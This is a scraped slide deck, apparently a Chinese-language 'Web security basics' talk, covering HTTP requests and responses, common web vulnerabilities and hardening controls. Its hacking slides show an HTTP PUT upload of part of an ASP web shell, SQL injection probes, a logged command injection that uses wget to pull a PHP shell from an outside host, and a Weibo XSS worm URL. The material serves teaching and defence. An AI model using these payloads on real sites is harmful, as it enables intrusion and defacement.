Why<br />-----  Search, Dig , and Hack !<br />梁伟<br />Python[AT]Live.it<br />CopyLeft<br />
1<br />2<br />3<br />4<br />Why WEB?<br />HTTP<br />Hacking<br />Hardening<br />Content<br />
1<br />2<br />3<br />4<br />Why WEB?<br />HTTP<br />Hacking<br />Hardening<br />Content<br />
Why WEB ?<br />WEB奋起<br />瘦客户端<br />浏览器能做什么?还有什么浏览器不能做?<br />没有浏览器的电脑?<br />Internet的新泡沫时代<br />
Why WEB ?<br />为什么 WEB 是非多<br />威胁的可叠加特性<br />Internet 爆炸<br />二把刀程序员<br />个人站点:臭美 > 可用 > 安全<br />
Why WEB ?<br />令人绝望的 WEB 2.0<br />善用?滥用?<br />
Why WEB ?<br />WEB安全大事记<br />1998 <br />Phrack 54 <br />NT Web Technology Vulnerabilities<br />[SQL Injection]<br />2001<b...
Why WEB ?<br />WEB安全的一点数据<br />Source : IBM X-Force® 2010 Trend and Risk Report<br />
Why WEB ?<br />WEB安全的一点数据<br />Source : IBM X-Force® 2010 Trend and Risk Report<br />
1<br />2<br />3<br />4<br />Why WEB?<br />HTTP<br />Hacking<br />Hardening<br />Content<br />
HTTP<br />版本与历史<br />HTTP/0.9<br />HTTP/1.0<br />HTTP/1.1<br />Year : 1990-1991<br />简单但不大方<br />Year : 1996<br />RFC 1945...
结构 (HTTP Request)<br />GET / HTTP/1.1<br />Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/xaml+x...
HTTP<br />结构 (HTTP Request)<br />HTTP Request数据结构概述<br />METHOD   /PATH   HTTP/VERISION<br />HEADER1:  Content<br />HEADER...
HTTP<br />结构 (HTTP Request)<br />HTTP Request数据结构概述<br />我要干什么<br />GET / HTTP/1.1<br />Accept: image/gif, image/x-xbitmap...
HTTP<br />结构 (HTTP Request)<br />HTTP Method<br />常见的:GET、POST<br />偶尔见到的:<br />HEAD, RACE, LOCK,OPTIONS,PUT, MOVE, COPY, ...
结构 (HTTP Response)<br />HTTP/1.1 200 OK<br />Date: Fri, 08 Jul 2011 14:35:23 GMT<br />Expires: -1<br />Cache-Control: priv...
HTTP Response in the realworld<br />
HTTP<br />结构 (HTTP Response)<br />HTTP Response数据结构概述<br />HTTP/VERSION  Status_CodeStatus_Code_desc<br />HEADER1: Content...
HTTP<br />结构 (HTTP Response)<br />HTTP Response数据结构概述<br />成功返回数据<br />HTTP/1.1 200 OK<br />Date: Fri, 08 Jul 2011 14:35:2...
HTTP<br />结构 (HTTP Response)<br />HTTP Response数据结构概述<br />HTTP/1.1 200 OK<br />Date: Fri, 08 Jul 2011 14:35:23 GMT<br />E...
HTTP<br />结构 (HTTP Response)<br />Status Code<br />常见:<br />   200 , OK<br />   201 , Create<br />   301 , Moved Permanent...
HTTP<br />典型<br />GET  vs   POST<br />GET 方法<br />    1、提交内容在URL中<br />    2、RFC 2616 未限制URL长度<br />    3、IE限制URL长度为2083个字...
HTTP<br />典型<br />GET  vs   POST<br />GET/POST的安全问题<br />   1、360泄露用户信息事件<br />   2、代码混淆GET与POST请求<br />
HTTP<br />典型<br />HEAD  vs   GET<br />HEAD  ——  获取Entity Header<br />GET     ——  获取全部response<br />
HTTP<br />典型<br />HEAD  vs   GET<br />GET     ——  获取全部response<br />HEAD  ——  获取Entity Header<br />
HTTP<br />典型<br />HEAD  vs   GET<br />HEAD 用途<br />   1、Scanner  ——  版本信息<br />   2、下载工具  ——  文件长度预载<br />
HTTP<br />典型<br />REFERER 字段用途<br />Referer  ——  告诉WEB程序 :我从哪里来<br />
HTTP<br />典型<br />REFERER 字段用途<br />Referer  ——  告诉WEB程序 :我从哪里来<br />
HTTP<br />典型<br />REFERER 字段用途<br />Referer的用途<br />   1、防止盗链<br />   2、CSRF防护<br />   3、Google hacking与入侵分析<br />
HTTP<br />典型<br />HOST字段用途<br />
HTTP<br />典型<br />HOST字段用途<br />
1<br />2<br />3<br />4<br />Why WEB?<br />HTTP<br />Hacking<br />Hardening<br />Content<br />
Hacking<br />7类常见漏洞示例<br />配置错误<br />注入漏洞<br />跨站脚本<br />认证错误<br />错误信息<br />参数错误<br />逻辑错误<br />
Hacking<br />配置错误 —— indexes<br />
Hacking<br />配置错误 —— indexes<br />
Hacking<br />配置错误 —— indexes<br /><IfModulemod_dir.c><br />DirectoryIndex index.html index.cgi index.pl index.php index.xh...
Hacking<br />配置错误 —— HTTP PUT<br />PUT /test.txt HTTP/1.1<br />Host: www.site.com<br />Content-Length: 1220<br /><% dim ob...
Hacking<br />配置错误 —— HTTP PUT<br />HTTP OPTIONS方法<br />
Hacking<br />配置错误 —— HTTP PUT<br />Windows 2000 + IIS 5.0 的某些必然性<br />本地权限<br />IIS权限<br />
Hacking<br />配置错误 —— HTTP PUT<br />Windows 2000 权限特性及继承方式<br />根目录:Everyone:F<br />异曲同工之妙:<br />Windows 2000 下的FrontPage<b...
Hacking<br />配置错误 —— backup<br />永远不要直接在WEB目录中编辑程序<br />哪怕你知道你在做什么,但不一定知道你的编辑器在做什么 !<br />
Hacking<br />注入漏洞 —— SQL注入<br />Select * from table_name where id=1<br />Select * from table_name where id=1’<br />Select ...
Hacking<br />注入漏洞 —— JS下的SQL注入<br />用户注册时触发JS脚本对用户名自动检查可用性<br />
Hacking<br />注入漏洞 —— 命令注入<br />Apache Log:<br />/s_tar.php?S_sid=79d18ddc9&http://site.com/s_tar.php?S_sid=79d18ddc9&&F_do...
Hacking<br />跨站脚本<br />存储型<br />反射型<br />DOM型<br />
Hacking<br />跨站脚本<br />原理简单,利用却不简单<br />WEB 2.0 是XSS的新温床<br />XSS/CSRF WORM : Samy worm &  Sinaweibo worm<br />1、跨站URL:htt...
Hacking<br />认证错误 —— 无认证页面<br />
Hacking<br />认证错误 —— 无认证页面<br />
Hacking<br />认证错误 —— 原始信息的校验方式<br />1、不校验            ——  直接构造恶意数据修改密码<br />2、校验COOKIE  ——  CSRF<br />
Hacking<br />错误信息 —— “友好”的返回信息<br />
Hacking<br />错误信息 ——HTTP Fuzzing对错误信息的利用<br />
Hacking<br />参数错误 —— 权限的鉴别<br />http://site/d477340ffa28755c?OpenDocument<br />http://site/d477340ffa28755c?EditDocument<b...
Hacking<br />参数错误 —— 权限的鉴别<br />http://site/download.asp?file=/path/down_file.rar<br />
Hacking<br />参数错误 —— 权限的鉴别<br />http://site/download.asp?file=/path/down_file.rar<br />
Hacking<br />逻辑错误<br />一个密码找回的逻辑错误<br />1、<br />密码找回页面通过调用不同UID,<br />显示不同用户的密码找回页<br />但此时不能修改密码<br />uid呈现一定规律<br />通过 H...
Hacking<br />逻辑错误<br />一个密码找回的逻辑错误<br />2、<br />FUZZING 获得用户信箱,<br />恶意发起密码找回请求。<br />
Hacking<br />逻辑错误<br />一个密码找回的逻辑错误<br />3、<br />回到密码找回页面,<br />重新设置密码<br />
1<br />2<br />3<br />4<br />Why WEB?<br />HTTP<br />Hacking<br />Hardening<br />Content<br />
Hardening<br />权限原则<br />监控 + 分析<br />14个控制项<br />
Hardening<br />权限原则<br />可写的不可执行<br />可执行的不可写<br />
Hardening<br />监控 + 分析<br />定期备份<br />完整性校验<br />integrit<br />AFICK (Another File Integrity Checker)<br />日志分析<br />LogPa...
Hardening<br />14个控制项<br />9、禁止使用JavaScript进行任何校验<br />10、使用安全、统一的编码或转义方式<br />11、设定有安全的权限边界<br />12、校验被调用的后台命令<br />13、校验...
Thanks !!!                      Q & A ???<br />
Upcoming SlideShare
Loading in …5
×

WEB 安全基础

2,347 views

Published on

Published in: Technology
1 Comment
1 Like
Statistics
Notes
  • 相当有水平的PPT,顶一下。
       Reply 
    Are you sure you want to  Yes  No
    Your message goes here
No Downloads
Views
Total views
2,347
On SlideShare
0
From Embeds
0
Number of Embeds
4
Actions
Shares
0
Downloads
41
Comments
1
Likes
1
Embeds 0
No embeds

No notes for slide

WEB 安全基础

  1. 1. Why<br />----- Search, Dig , and Hack !<br />梁伟<br />Python[AT]Live.it<br />CopyLeft<br />
  2. 2. 1<br />2<br />3<br />4<br />Why WEB?<br />HTTP<br />Hacking<br />Hardening<br />Content<br />
  3. 3. 1<br />2<br />3<br />4<br />Why WEB?<br />HTTP<br />Hacking<br />Hardening<br />Content<br />
  4. 4. Why WEB ?<br />WEB奋起<br />瘦客户端<br />浏览器能做什么?还有什么浏览器不能做?<br />没有浏览器的电脑?<br />Internet的新泡沫时代<br />
  5. 5. Why WEB ?<br />为什么 WEB 是非多<br />威胁的可叠加特性<br />Internet 爆炸<br />二把刀程序员<br />个人站点:臭美 > 可用 > 安全<br />
  6. 6. Why WEB ?<br />令人绝望的 WEB 2.0<br />善用?滥用?<br />
  7. 7. Why WEB ?<br />WEB安全大事记<br />1998 <br />Phrack 54 <br />NT Web Technology Vulnerabilities<br />[SQL Injection]<br />2001<br />OWASP Started<br />Nikto 1.0 released<br />2004<br />OWASP TOP 10 released<br />1999 <br />XSS was recognised<br />whisker 1.0 released<br />[ next-generation CGI scanner ]<br />2003<br />SQL Slammer <br />OWASP Testing guide<br />WebInspect 3.0<br />2005<br />Samy Worm<br />Acunetix scanner released<br />
  8. 8. Why WEB ?<br />WEB安全的一点数据<br />Source : IBM X-Force® 2010 Trend and Risk Report<br />
  9. 9. Why WEB ?<br />WEB安全的一点数据<br />Source : IBM X-Force® 2010 Trend and Risk Report<br />
  10. 10. 1<br />2<br />3<br />4<br />Why WEB?<br />HTTP<br />Hacking<br />Hardening<br />Content<br />
  11. 11. HTTP<br />版本与历史<br />HTTP/0.9<br />HTTP/1.0<br />HTTP/1.1<br />Year : 1990-1991<br />简单但不大方<br />Year : 1996<br />RFC 1945<br />过渡版本<br />持续完善<br />至今仍被兼容<br />Year : 1997<br />RFC 2068<br />目前最完善版本<br />持续改进与发展<br />Source: RFC 2616<br />
  12. 12. 结构 (HTTP Request)<br />GET / HTTP/1.1<br />Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/QVOD, application/QVOD, */*<br />Accept-Language: zh-cn<br />UA-CPU: x86<br />Accept-Encoding: gzip, deflate<br />User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)<br />Host: www.google.com<br />Connection: Keep-Alive<br />Cookie: PREF=ID=ab655c79fc00eca5:U=1da01670686c1b4a:FF=0:LD=en:NW=1:CR=2:TM=1258614972:LM=1310117743:GM=1:S=3dm6LuBXWmGJn68p; NID=48=FYQN5JhSwChd_pgXNBw9-u6xMkefYb23gg6b24tApMve2lVAdBzX6xVSgeXFhdQM9DtKnHda7Kh_v6WAG_y0QtOukKDuBXOrH7psDHjV31NnI9-Pu8sNcLOHVjGWGhJc; rememberme=false<br />
  13. 13. HTTP<br />结构 (HTTP Request)<br />HTTP Request数据结构概述<br />METHOD /PATH HTTP/VERISION<br />HEADER1: Content<br />HEADER2: Content<br />HEADER3: Content<br />HEADER4: Content<br />POST DATAs<br />
  14. 14. HTTP<br />结构 (HTTP Request)<br />HTTP Request数据结构概述<br />我要干什么<br />GET / HTTP/1.1<br />Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/xaml+xml, application/vnd.ms-xpsdocument, application/x-ms-xbap, application/x-ms-application, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, application/QVOD, application/QVOD, */*<br />Accept-Language: zh-cn<br />UA-CPU: x86<br />Accept-Encoding: gzip, deflate<br />User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; InfoPath.2; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)<br />Host: www.google.com<br />Connection: Keep-Alive<br />Cookie: PREF=ID=ab655c79fc00eca5:U=1da01670686c1b4a:FF=0:LD=en:NW=1:CR=2:TM=1258614972:LM=1310117743:GM=1:S=3dm6LuBXWmGJn68p; NID=48=FYQN5JhSwChd_pgXNBw9-u6xMkefYb23gg6b24tApMve2lVAdBzX6xVSgeXFhdQM9DtKnHda7Kh_v6WAG_y0QtOukKDuBXOrH7psDHjV31NnI9-Pu8sNcLOHVjGWGhJc; rememberme=false<br />我能识别什么<br />我说什么话<br />我用什么工具<br />我要找谁<br />对了!忘了告诉你我是谁<br />
  15. 15. HTTP<br />结构 (HTTP Request)<br />HTTP Method<br />常见的:GET、POST<br />偶尔见到的:<br />HEAD, RACE, LOCK,OPTIONS,PUT, MOVE, COPY, DELETE, CONNECT <br />
  16. 16. 结构 (HTTP Response)<br />HTTP/1.1 200 OK<br />Date: Fri, 08 Jul 2011 14:35:23 GMT<br />Expires: -1<br />Cache-Control: private, max-age=0<br />Content-Type: text/html; charset=UTF-8<br />Content-Encoding: gzip<br />Server: gws<br />Content-Length: 11746<br />X-XSS-Protection: 1; mode=block<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />
  17. 17. HTTP Response in the realworld<br />
  18. 18. HTTP<br />结构 (HTTP Response)<br />HTTP Response数据结构概述<br />HTTP/VERSION Status_CodeStatus_Code_desc<br />HEADER1: Content<br />HEADER2: Content<br />HEADER3: Content<br />X-HEADER: Content<br />RESPONSE DATAs<br />RESPONSE DATAs<br />..........<br />......<br />
  19. 19. HTTP<br />结构 (HTTP Response)<br />HTTP Response数据结构概述<br />成功返回数据<br />HTTP/1.1 200 OK<br />Date: Fri, 08 Jul 2011 14:35:23 GMT<br />Expires: -1<br />Cache-Control: private, max-age=0<br />Content-Type: text/html; charset=UTF-8<br />Content-Encoding:gzip<br />Server: gws<br />Content-Length: 11746<br />X-XSS-Protection: 1; mode=block<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />立刻过期<br />时间(GMT)<br />缓存控制。<br />Private: 访问服务器而非缓存;<br />Max-age=0 : 0秒内使用缓存数据<br />内容类型<br />服务器类型<br />扩展(预留)字段<br />此处意为支持浏览器的XSS过滤器<br />返回长度<br />
  20. 20. HTTP<br />结构 (HTTP Response)<br />HTTP Response数据结构概述<br />HTTP/1.1 200 OK<br />Date: Fri, 08 Jul 2011 14:35:23 GMT<br />Expires: -1<br />Cache-Control: private, max-age=0<br />Content-Type: text/html; charset=UTF-8<br />Content-Encoding:gzip<br />Server: gws<br />Content-Length: 11746<br />X-XSS-Protection: 1; mode=block<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx<br />Entity Header<br />Entity Body<br />
  21. 21. HTTP<br />结构 (HTTP Response)<br />Status Code<br />常见:<br /> 200 , OK<br /> 201 , Create<br /> 301 , Moved Permanently<br /> 302 , Found (temporarily)<br /> 400 , Bad Request<br /> 401 , Unauthorized<br /> 404 , Not Found<br /> 500 , Internal Server Error<br />
  22. 22. HTTP<br />典型<br />GET vs POST<br />GET 方法<br /> 1、提交内容在URL中<br /> 2、RFC 2616 未限制URL长度<br /> 3、IE限制URL长度为2083个字符<br /> 4、Firefox限制URL长度65536个字符<br />POST 方法<br /> 1、提交内容置于请求实体中<br /> 2、以修改服务端内容为设计目的(RFC2616 /9.5)<br /> 3、长度无限制<br />
  23. 23. HTTP<br />典型<br />GET vs POST<br />GET/POST的安全问题<br /> 1、360泄露用户信息事件<br /> 2、代码混淆GET与POST请求<br />
  24. 24. HTTP<br />典型<br />HEAD vs GET<br />HEAD —— 获取Entity Header<br />GET —— 获取全部response<br />
  25. 25. HTTP<br />典型<br />HEAD vs GET<br />GET —— 获取全部response<br />HEAD —— 获取Entity Header<br />
  26. 26. HTTP<br />典型<br />HEAD vs GET<br />HEAD 用途<br /> 1、Scanner —— 版本信息<br /> 2、下载工具 —— 文件长度预载<br />
  27. 27. HTTP<br />典型<br />REFERER 字段用途<br />Referer —— 告诉WEB程序 :我从哪里来<br />
  28. 28. HTTP<br />典型<br />REFERER 字段用途<br />Referer —— 告诉WEB程序 :我从哪里来<br />
  29. 29. HTTP<br />典型<br />REFERER 字段用途<br />Referer的用途<br /> 1、防止盗链<br /> 2、CSRF防护<br /> 3、Google hacking与入侵分析<br />
  30. 30. HTTP<br />典型<br />HOST字段用途<br />
  31. 31. HTTP<br />典型<br />HOST字段用途<br />
  32. 32. 1<br />2<br />3<br />4<br />Why WEB?<br />HTTP<br />Hacking<br />Hardening<br />Content<br />
  33. 33. Hacking<br />7类常见漏洞示例<br />配置错误<br />注入漏洞<br />跨站脚本<br />认证错误<br />错误信息<br />参数错误<br />逻辑错误<br />
  34. 34. Hacking<br />配置错误 —— indexes<br />
  35. 35. Hacking<br />配置错误 —— indexes<br />
  36. 36. Hacking<br />配置错误 —— indexes<br /><IfModulemod_dir.c><br />DirectoryIndex index.html index.cgi index.pl index.php index.xhtml index.htm<br /></IfModule><br />………..<br />………..<br /><Directory /var/www/><br /> Options IndexesFollowSymLinks<br />AllowOverride None<br /> Order allow,deny<br /> allow from all<br /></Directory><br />
  37. 37. Hacking<br />配置错误 —— HTTP PUT<br />PUT /test.txt HTTP/1.1<br />Host: www.site.com<br />Content-Length: 1220<br /><% dim objFSO %><br /><% dim fdata %><br /><% dim objCountFile %><br /><% on error resume next %><br /><% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %><br /><% if Trim(request("syfdpath"))<>"" then %><br /><% fdata = request("cyfddata") %><br /><% Set objCountFile=objFSO.CreateTextFile(request("syfdpath"),True) %><br />……………………<br />……………………<br />
  38. 38. Hacking<br />配置错误 —— HTTP PUT<br />HTTP OPTIONS方法<br />
  39. 39. Hacking<br />配置错误 —— HTTP PUT<br />Windows 2000 + IIS 5.0 的某些必然性<br />本地权限<br />IIS权限<br />
  40. 40. Hacking<br />配置错误 —— HTTP PUT<br />Windows 2000 权限特性及继承方式<br />根目录:Everyone:F<br />异曲同工之妙:<br />Windows 2000 下的FrontPage<br />
  41. 41. Hacking<br />配置错误 —— backup<br />永远不要直接在WEB目录中编辑程序<br />哪怕你知道你在做什么,但不一定知道你的编辑器在做什么 !<br />
  42. 42. Hacking<br />注入漏洞 —— SQL注入<br />Select * from table_name where id=1<br />Select * from table_name where id=1’<br />Select * from table_name where id=1and 1=1<br />Select * from table_name where id=1 and 1=2<br />Select * from table_name where id=1 and (select ……)<br />Injection Tools:<br /> 1、SQL Helper<br /> 2、SQLMAP (v0.9)<br />
  43. 43. Hacking<br />注入漏洞 —— JS下的SQL注入<br />用户注册时触发JS脚本对用户名自动检查可用性<br />
  44. 44. Hacking<br />注入漏洞 —— 命令注入<br />Apache Log:<br />/s_tar.php?S_sid=79d18ddc9&http://site.com/s_tar.php?S_sid=79d18ddc9&&F_down=1&F_tarname=cc.tar";wget%20-q%20-O%20%20/var/www/html/shell.php%20http://xxx.net/2011php <br />Keyword:<br />cc.tar<br />;(分号)<br />wget<br />tar 命令:<br />tar cvf somefile.tar dir1 dir2 ….<br />Linux多命令方式:<br />Command1; Command2; Command3; …..<br />Linux多命令错误机制:<br />前一条命令错误,下一条继续执行<br />调用:tar cfcc.tar;wget …;dir1 dir2 …<br />
  45. 45. Hacking<br />跨站脚本<br />存储型<br />反射型<br />DOM型<br />
  46. 46. Hacking<br />跨站脚本<br />原理简单,利用却不简单<br />WEB 2.0 是XSS的新温床<br />XSS/CSRF WORM : Samy worm & Sinaweibo worm<br />1、跨站URL:http://weibo.com/pub/star/g/xyyyd%22%3E%3Cscript%20src=//www.2kt.cn/images/t.js%3E%3C/script%3E?type=update<br />2、由JS发起CSRF:<br /> a、发微博<br /> b、加关注<br /> c、发私信<br />About Samy Worm:<br />http://en.wikipedia.org/wiki/Samy_(XSS)<br />http://namb.la/popular/<br />
  47. 47. Hacking<br />认证错误 —— 无认证页面<br />
  48. 48. Hacking<br />认证错误 —— 无认证页面<br />
  49. 49. Hacking<br />认证错误 —— 原始信息的校验方式<br />1、不校验 —— 直接构造恶意数据修改密码<br />2、校验COOKIE —— CSRF<br />
  50. 50. Hacking<br />错误信息 —— “友好”的返回信息<br />
  51. 51. Hacking<br />错误信息 ——HTTP Fuzzing对错误信息的利用<br />
  52. 52. Hacking<br />参数错误 —— 权限的鉴别<br />http://site/d477340ffa28755c?OpenDocument<br />http://site/d477340ffa28755c?EditDocument<br />OpenDocument<br />EditDocument<br />
  53. 53. Hacking<br />参数错误 —— 权限的鉴别<br />http://site/download.asp?file=/path/down_file.rar<br />
  54. 54. Hacking<br />参数错误 —— 权限的鉴别<br />http://site/download.asp?file=/path/down_file.rar<br />
  55. 55. Hacking<br />逻辑错误<br />一个密码找回的逻辑错误<br />1、<br />密码找回页面通过调用不同UID,<br />显示不同用户的密码找回页<br />但此时不能修改密码<br />uid呈现一定规律<br />通过 HTTP FUZZING 获得<br />
  56. 56. Hacking<br />逻辑错误<br />一个密码找回的逻辑错误<br />2、<br />FUZZING 获得用户信箱,<br />恶意发起密码找回请求。<br />
  57. 57. Hacking<br />逻辑错误<br />一个密码找回的逻辑错误<br />3、<br />回到密码找回页面,<br />重新设置密码<br />
  58. 58. 1<br />2<br />3<br />4<br />Why WEB?<br />HTTP<br />Hacking<br />Hardening<br />Content<br />
  59. 59. Hardening<br />权限原则<br />监控 + 分析<br />14个控制项<br />
  60. 60. Hardening<br />权限原则<br />可写的不可执行<br />可执行的不可写<br />
  61. 61. Hardening<br />监控 + 分析<br />定期备份<br />完整性校验<br />integrit<br />AFICK (Another File Integrity Checker)<br />日志分析<br />LogParser<br />Ref : http://www.room702.cn/tools/LogParser.txt<br />
  62. 62. Hardening<br />14个控制项<br />9、禁止使用JavaScript进行任何校验<br />10、使用安全、统一的编码或转义方式<br />11、设定有安全的权限边界<br />12、校验被调用的后台命令<br />13、校验被调用的文本或配置文件<br />14、确保程序所记录的日志可控<br />1、独立、完整且集中的输入验证<br />2、校验全部的程序输入<br />3、校验全部的输入长度<br />4、校验全部的输入类型<br />5、不使用任何方式处理失败的数据<br />6、对HTTP所有内容进行校验<br />7、校验向用户输出的数据<br />8、使用安全的SQL查询方式<br />
  63. 63. Thanks !!! Q & A ???<br />

×